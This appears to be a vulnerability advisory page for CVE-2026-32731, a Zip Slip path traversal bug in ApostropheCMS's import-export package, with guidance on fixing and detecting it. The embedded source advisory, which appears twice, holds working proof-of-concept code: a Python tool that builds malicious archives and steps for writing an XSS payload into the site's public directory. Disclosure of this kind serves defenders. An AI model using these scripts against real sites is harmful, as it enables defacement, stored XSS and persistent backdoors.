CVE-2026-32731: @apostrophecms/import export Path Traversal Vulnerability

CRITICAL
Advisory Identifier: GHSA-mwxc-m426-3f78
CVSS 9.9
CWE-22
Published
Advisory Summary

CVE-2026-32731 is a CRITICAL (CVSS 9.9) path traversal vulnerability (CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')) affecting @apostrophecms/import export libraries in the npm ecosystem. The issue involves apostrophecms has arbitrary file write (zip slip / path traversal) in import-export gzip extraction. Remediation is available by upgrading affected packages to version 3.5.3.

CVE-2026-32731 at a Glance

CVE Identifier CVE-2026-32731
GHSA Identifier GHSA-mwxc-m426-3f78
Severity CRITICAL
CVSS v3.1 Base Score 9.9
CWE Classification CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Affected Product @apostrophecms/import export
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 9.9

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-32731

To remediate this vulnerability, upgrade all affected @apostrophecms/import export dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

@apostrophecms/import-export fixed: 3.5.3
npm install @apostrophecms/import-export@3.5.3
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls @apostrophecms/import-export

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-32731, inspect your project dependencies using npm:

npm ls @apostrophecms/import-export

Analyze the terminal output to locate any version of @apostrophecms/import export in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.5.3), your application is affected.

Note: The npm ls @apostrophecms/import-export command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), where the product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. In @apostrophecms/import export, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

**Reported:** 2026-03-08 **Status:** patched and released in version 3.5.3 of `@apostrophecms/import-export` --- ## Product | Field | Value | |---|---| | Repository | `apostrophecms/apostrophe` (monorepo) | | Affected Package | `@apostrophecms/import-export` | | Affected File | `packages/import-export/lib/formats/gzip.js` | | Affected Function | `extract(filepath, exportPath)` — lines ~132–157 | | Minimum Required Permission | **Global Content Modify** (any editor-level user with import access) | --- ## Vulnerability Summary The `extract()` function in `gzip.js` constructs file-write paths using: ```js fs.createWriteStream(path.join(exportPath, header.name)) ``` `path.join()` does **not** resolve or sanitise traversal segments such as `../`. It concatenates them as-is, meaning a tar entry named `../../evil.js` resolves to a path **outside** the intended extraction directory. No canonical-path check is performed before the write stream is opened. This is a textbook **Zip Slip** vulnerability. Any user who has been granted the **Global Content Modify** permission — a role routinely assigned to content editors and site managers — can upload a crafted `.tar.gz` file through the standard CMS import UI and write attacker-controlled content to **any path the Node.js process can reach on the host filesystem**. --- ## Security Impact This vulnerability provides **unauthenticated-equivalent arbitrary file write** to any user with content editor permissions. The full impact chain is: ### 1. Arbitrary File Write Write any file to any path the Node.js process user can access. Confirmed writable targets in testing: - Any path the CMS process has permission to ### 2. Static Web Directory — Defacement & Malicious Asset Injection ApostropheCMS serves `<project-root>/public/` via Express static middleware: ```js // packages/apostrophe/modules/@apostrophecms/asset/index.js express.static(self.apos.rootDir + '/public', self.options.static || {}) ``` A traversal payload targeting `public/` makes any uploaded file **directly HTTP-accessible**: This enables: - Full site defacement - Serving phishing pages from the legitimate CMS domain - Injecting malicious JavaScript served to all site visitors (stored XSS at scale) ### 3. Persistent Backdoor / RCE (Post-Restart) If the traversal targets any `.js` file loaded by Node.js on startup (e.g., a module `index.js`, a config file, a routes file), the payload becomes a **persistent backdoor** that executes with the CMS process privileges on the next server restart. In container/cloud environments, restarts happen automatically on deploy, crash, or health-check failure — meaning the attacker does not need to manually trigger one. ### 4. Credential and Secret File Overwrite Overwrite `.env`, `app.config.js`, database seed files, or any config file to: - Exfiltrate database credentials on next load - Redirect authentication to an attacker-controlled backend - Disable security controls (rate limiting, MFA, CSRF) ### 5. Denial of Service Overwrite any critical application file (`package.json`, `node_modules` entries, etc.) with garbage data, rendering the application unbootable. --- ## Required Permission **Global Content Modify** — this is a standard editor-level permission routinely granted to content managers, blog editors, and site administrators in typical ApostropheCMS deployments. It is **not** an administrator-only capability. Any organisation that delegates content editing to non-technical staff is exposed. --- ## Proof of Concept Two PoC artifacts are provided: | File | Purpose | |---|---| | `tmp-import-export-zip-slip-poc.js` | Automated Node.js harness — verifies the write happens without a browser | | `make-slip-tar.py` | Attacker tool — generates a real `.tar.gz` for upload via the CMS web UI | --- ### PoC 1 — Automated Verification (`tmp-import-export-zip-slip-poc.js`) ```js const fs = require('node:fs'); const fsp = require('node:fs/promises'); const path = require('node:path'); const os = require('node:os'); const zlib = require('node:zlib'); const tar = require('tar-stream'); const gzipFormat = require('./packages/import-export/lib/formats/gzip.js'); async function makeArchive(archivePath) { const pack = tar.pack(); const gzip = zlib.createGzip(); const out = fs.createWriteStream(archivePath); const done = new Promise((resolve, reject) => { out.on('finish', resolve); out.on('error', reject); gzip.on('error', reject); pack.on('error', reject); }); pack.pipe(gzip).pipe(out); pack.entry({ name: 'aposDocs.json' }, '[]'); pack.entry({ name: 'aposAttachments.json' }, '[]'); // Traversal payload pack.entry({ name: '../../zip-slip-pwned.txt' }, 'PWNED_FROM_TAR'); pack.finalize(); await done; } (async () => { const base = await fsp.mkdtemp(path.join(os.tmpdir(), 'apos-zip-slip-')); const archivePath = path.join(base, 'evil-export.gz'); const exportPath = archivePath.replace(/\.gz$/, ''); await makeArchive(archivePath); const expectedOutsideWrite = path.resolve(exportPath, '../../zip-slip-pwned.txt'); // Ensure clean pre-state try { await fsp.unlink(expectedOutsideWrite); } catch (_) {} await gzipFormat.input(archivePath); const exists = fs.existsSync(expectedOutsideWrite); const content = exists ? await fsp.readFile(expectedOutsideWrite, 'utf8') : ''; console.log('EXPORT_PATH:', exportPath); console.log('EXPECTED_OUTSIDE_WRITE:', expectedOutsideWrite); console.log('ZIP_SLIP_WRITE_HAPPENED:', exists); console.log('WRITTEN_CONTENT:', content.trim()); })(); ``` **Run:** ```powershell node .\tmp-import-export-zip-slip-poc.js ``` **Observed output (confirmed):** ``` EXPORT_PATH: C:\Users\...\AppData\Local\Temp\apos-zip-slip-XXXXXX\evil-export EXPECTED_OUTSIDE_WRITE: C:\Users\...\AppData\Local\Temp\zip-slip-pwned.txt ZIP_SLIP_WRITE_HAPPENED: true WRITTEN_CONTENT: PWNED_FROM_TAR ``` The file `zip-slip-pwned.txt` is written **two directories above** the extraction root, confirming path traversal. --- ### PoC 2 — Web UI Exploitation (`make-slip-tar.py`) **Script (`make-slip-tar.py`):** ```python import tarfile, io, sys if len(sys.argv) != 3: print("Usage: python make-slip-tar.py <payload_file> <target_path>") sys.exit(1) payload_file = sys.argv[1] target_path = sys.argv[2] out = "evil-slip.tar.gz" with open(payload_file, "rb") as f: payload = f.read() with tarfile.open(out, "w:gz") as t: docs = io.BytesIO(b"[]") info = tarfile.TarInfo("aposDocs.json") info.size = len(docs.getvalue()) t.addfile(info, docs) atts = io.BytesIO(b"[]") info = tarfile.TarInfo("aposAttachments.json") info.size = len(atts.getvalue()) t.addfile(info, atts) info = tarfile.TarInfo(target_path) info.size = len(payload) t.addfile(info, io.BytesIO(payload)) print("created", out) ``` --- ## Steps to Reproduce (Web UI — Real Exploitation) ### Step 1 — Create the payload file Create a file with the content you want to write to the server. For a static web directory write: ```bash echo "<!-- injected by attacker --><script>alert('XSS')</script>" > payload.html ``` ### Step 2 — Generate the malicious archive Use the traversal path that reaches the CMS `public/` directory. The number of `../` segments depends on where the CMS stores its temporary extraction directory relative to the project root — typically 2–4 levels up. Adjust as needed: ```bash python make-slip-tar.py payload.html "../../../../<project-root>/public/injected.html" ``` This creates `evil-slip.tar.gz` containing: - `aposDocs.json` — empty, required by the importer - `aposAttachments.json` — empty, required by the importer - `../../../../<project-root>/public/injected.html` — the traversal payload ### Step 3 — Upload via CMS Import UI 1. Log in to the CMS with any account that has **Global Content Modify** permission. 2. Navigate to **Open Global Settings → More Options → Import**. 3. Select `evil-slip.tar.gz` and click **Import**. 4. The CMS accepts the file and begins extraction — no error is shown. ### Step 4 — Confirm the write ```bash curl http://localhost:3000/injected.html ``` Expected response: ``` <!-- injected by attacker --><script>alert('XSS')</script> ``` The file is now being served from the CMS's own domain to all visitors. ### Video POC : https://drive.google.com/file/d/1bbuQnoJv_xjM_uvfjnstmTh07FB7VqGH/view?usp=sharing ---

CVE-2026-32731 Affected @apostrophecms/import export Versions

1 component(s)
Fixed Versions:
3.5.3
Product / Package Ecosystem Affected Versions Fixed Version
@apostrophecms/import-export
npm
< 3.5.3
3.5.3

References

Frequently Asked Questions

What is CVE-2026-32731?
CVE-2026-32731 is a security vulnerability in @apostrophecms/import export involving ApostropheCMS has Arbitrary File Write (Zip Slip / Path Traversal) in Import-Export Gzip Extraction under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal').
Which @apostrophecms/import export versions are affected?
Affected versions include releases prior to 3.5.3 across affected packages: @apostrophecms/import-export.
What version fixes CVE-2026-32731?
Upgrading to 3.5.3 (or the latest patched release for your respective branch) resolves the vulnerability.
Is @apostrophecms/import-export affected?
Yes, @apostrophecms/import-export is affected in releases prior to 3.5.3. Upgrade your dependency to 3.5.3 or later.
What is the CVSS score of CVE-2026-32731?
CVE-2026-32731 has a CVSS v3.1 base score of 9.9 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H.
What CWE is associated with CVE-2026-32731?
CVE-2026-32731 is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.).
How can I check npm dependencies for CVE-2026-32731?
Run the dependency tree command: 'npm ls @apostrophecms/import-export'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-mwxc-m426-3f78",
  "modified" : "2026-03-18T19:49:07Z",
  "published" : "2026-03-18T19:49:07Z",
  "aliases" : [ "CVE-2026-32731" ],
  "summary" : "ApostropheCMS has Arbitrary File Write (Zip Slip / Path Traversal) in Import-Export Gzip Extraction",
  "details" : "**Reported:** 2026-03-08  \n**Status:** patched and released in version 3.5.3 of `@apostrophecms/import-export`\n\n---\n\n## Product\n\n| Field | Value |\n|---|---|\n| Repository | `apostrophecms/apostrophe` (monorepo) |\n| Affected Package | `@apostrophecms/import-export` |\n| Affected File | `packages/import-export/lib/formats/gzip.js` |\n| Affected Function | `extract(filepath, exportPath)` — lines ~132–157 |\n| Minimum Required Permission | **Global Content Modify** (any editor-level user with import access) |\n\n---\n\n## Vulnerability Summary\n\nThe `extract()` function in `gzip.js` constructs file-write paths using:\n\n```js\nfs.createWriteStream(path.join(exportPath, header.name))\n```\n\n`path.join()` does **not** resolve or sanitise traversal segments such as `../`. It concatenates them as-is, meaning a tar entry named `../../evil.js` resolves to a path **outside** the intended extraction directory. No canonical-path check is performed before the write stream is opened.\n\nThis is a textbook **Zip Slip** vulnerability. Any user who has been granted the **Global Content Modify** permission — a role routinely assigned to content editors and site managers — can upload a crafted `.tar.gz` file through the standard CMS import UI and write attacker-controlled content to **any path the Node.js process can reach on the host filesystem**.\n\n---\n\n## Security Impact\n\nThis vulnerability provides **unauthenticated-equivalent arbitrary file write** to any user with content editor permissions. The full impact chain is:\n\n### 1. Arbitrary File Write\nWrite any file to any path the Node.js process user can access. Confirmed writable targets in testing:\n\n- Any path the CMS process has permission to\n\n### 2. Static Web Directory — Defacement & Malicious Asset Injection\nApostropheCMS serves `<project-root>/public/` via Express static middleware:\n\n```js\n// packages/apostrophe/modules/@apostrophecms/asset/index.js\nexpress.static(self.apos.rootDir + '/public', self.options.static || {})\n```\n\nA traversal payload targeting `public/` makes any uploaded file **directly HTTP-accessible**:\n\nThis enables:\n- Full site defacement\n- Serving phishing pages from the legitimate CMS domain\n- Injecting malicious JavaScript served to all site visitors (stored XSS at scale)\n\n### 3. Persistent Backdoor / RCE (Post-Restart)\nIf the traversal targets any `.js` file loaded by Node.js on startup (e.g., a module `index.js`, a config file, a routes file), the payload becomes a **persistent backdoor** that executes with the CMS process privileges on the next server restart. In container/cloud environments, restarts happen automatically on deploy, crash, or health-check failure — meaning the attacker does not need to manually trigger one.\n\n### 4. Credential and Secret File Overwrite\nOverwrite `.env`, `app.config.js`, database seed files, or any config file to:\n- Exfiltrate database credentials on next load\n- Redirect authentication to an attacker-controlled backend\n- Disable security controls (rate limiting, MFA, CSRF)\n\n### 5. Denial of Service\nOverwrite any critical application file (`package.json`, `node_modules` entries, etc.) with garbage data, rendering the application unbootable.\n\n---\n\n## Required Permission\n\n**Global Content Modify** — this is a standard editor-level permission routinely granted to content managers, blog editors, and site administrators in typical ApostropheCMS deployments. It is **not** an administrator-only capability. Any organisation that delegates content editing to non-technical staff is exposed.\n\n---\n\n## Proof of Concept\n\nTwo PoC artifacts are provided:\n\n| File | Purpose |\n|---|---|\n| `tmp-import-export-zip-slip-poc.js` | Automated Node.js harness — verifies the write happens without a browser |\n| `make-slip-tar.py` | Attacker tool — generates a real `.tar.gz` for upload via the CMS web UI |\n\n---\n\n### PoC 1 — Automated Verification (`tmp-import-export-zip-slip-poc.js`)\n\n```js\nconst fs = require('node:fs');\nconst fsp = require('node:fs/promises');\nconst path = require('node:path');\nconst os = require('node:os');\nconst zlib = require('node:zlib');\nconst tar = require('tar-stream');\n\nconst gzipFormat = require('./packages/import-export/lib/formats/gzip.js');\n\nasync function makeArchive(archivePath) {\n  const pack = tar.pack();\n  const gzip = zlib.createGzip();\n  const out = fs.createWriteStream(archivePath);\n\n  const done = new Promise((resolve, reject) => {\n    out.on('finish', resolve);\n    out.on('error', reject);\n    gzip.on('error', reject);\n    pack.on('error', reject);\n  });\n\n  pack.pipe(gzip).pipe(out);\n\n  pack.entry({ name: 'aposDocs.json' }, '[]');\n  pack.entry({ name: 'aposAttachments.json' }, '[]');\n\n  // Traversal payload\n  pack.entry({ name: '../../zip-slip-pwned.txt' }, 'PWNED_FROM_TAR');\n\n  pack.finalize();\n  await done;\n}\n\n(async () => {\n  const base = await fsp.mkdtemp(path.join(os.tmpdir(), 'apos-zip-slip-'));\n  const archivePath = path.join(base, 'evil-export.gz');\n  const exportPath = archivePath.replace(/\\.gz$/, '');\n\n  await makeArchive(archivePath);\n\n  const expectedOutsideWrite = path.resolve(exportPath, '../../zip-slip-pwned.txt');\n\n  // Ensure clean pre-state\n  try { await fsp.unlink(expectedOutsideWrite); } catch (_) {}\n\n  await gzipFormat.input(archivePath);\n\n  const exists = fs.existsSync(expectedOutsideWrite);\n  const content = exists ? await fsp.readFile(expectedOutsideWrite, 'utf8') : '';\n\n  console.log('EXPORT_PATH:', exportPath);\n  console.log('EXPECTED_OUTSIDE_WRITE:', expectedOutsideWrite);\n  console.log('ZIP_SLIP_WRITE_HAPPENED:', exists);\n  console.log('WRITTEN_CONTENT:', content.trim());\n})();\n```\n**Run:**\n```powershell\nnode .\\tmp-import-export-zip-slip-poc.js\n```\n\n**Observed output (confirmed):**\n```\nEXPORT_PATH:            C:\\Users\\...\\AppData\\Local\\Temp\\apos-zip-slip-XXXXXX\\evil-export\nEXPECTED_OUTSIDE_WRITE: C:\\Users\\...\\AppData\\Local\\Temp\\zip-slip-pwned.txt\nZIP_SLIP_WRITE_HAPPENED: true\nWRITTEN_CONTENT:        PWNED_FROM_TAR\n```\n\nThe file `zip-slip-pwned.txt` is written **two directories above** the extraction root, confirming path traversal.\n\n---\n\n### PoC 2 — Web UI Exploitation (`make-slip-tar.py`)\n\n**Script (`make-slip-tar.py`):**\n```python\nimport tarfile, io, sys\n\nif len(sys.argv) != 3:\n    print(\"Usage: python make-slip-tar.py <payload_file> <target_path>\")\n    sys.exit(1)\n\npayload_file = sys.argv[1]\ntarget_path  = sys.argv[2]\nout = \"evil-slip.tar.gz\"\n\nwith open(payload_file, \"rb\") as f:\n    payload = f.read()\n\nwith tarfile.open(out, \"w:gz\") as t:\n    docs = io.BytesIO(b\"[]\")\n    info = tarfile.TarInfo(\"aposDocs.json\")\n    info.size = len(docs.getvalue())\n    t.addfile(info, docs)\n\n    atts = io.BytesIO(b\"[]\")\n    info = tarfile.TarInfo(\"aposAttachments.json\")\n    info.size = len(atts.getvalue())\n    t.addfile(info, atts)\n\n    info = tarfile.TarInfo(target_path)\n    info.size = len(payload)\n    t.addfile(info, io.BytesIO(payload))\n\nprint(\"created\", out)\n```\n\n---\n\n## Steps to Reproduce (Web UI — Real Exploitation)\n\n### Step 1 — Create the payload file\n\nCreate a file with the content you want to write to the server. For a static web directory write:\n\n```bash\necho \"<!-- injected by attacker --><script>alert('XSS')</script>\" > payload.html\n```\n\n### Step 2 — Generate the malicious archive\n\nUse the traversal path that reaches the CMS `public/` directory. The number of `../` segments depends on where the CMS stores its temporary extraction directory relative to the project root — typically 2–4 levels up. Adjust as needed:\n\n```bash\npython make-slip-tar.py payload.html \"../../../../<project-root>/public/injected.html\"\n```\n\nThis creates `evil-slip.tar.gz` containing:\n- `aposDocs.json` — empty, required by the importer\n- `aposAttachments.json` — empty, required by the importer\n- `../../../../<project-root>/public/injected.html` — the traversal payload\n\n### Step 3 — Upload via CMS Import UI\n\n1. Log in to the CMS with any account that has **Global Content Modify** permission.\n2. Navigate to **Open Global Settings → More Options → Import**.\n3. Select `evil-slip.tar.gz` and click **Import**.\n4. The CMS accepts the file and begins extraction — no error is shown.\n\n### Step 4 — Confirm the write\n\n```bash\ncurl http://localhost:3000/injected.html\n```\n\nExpected response:\n```\n<!-- injected by attacker --><script>alert('XSS')</script>\n```\n\nThe file is now being served from the CMS's own domain to all visitors.\n\n### Video POC : https://drive.google.com/file/d/1bbuQnoJv_xjM_uvfjnstmTh07FB7VqGH/view?usp=sharing\n---",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@apostrophecms/import-export"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.5.3"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 3.5.2"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-mwxc-m426-3f78"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/apostrophecms/apostrophe"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-18T19:49:07Z",
    "nvd_published_at" : null
  }
}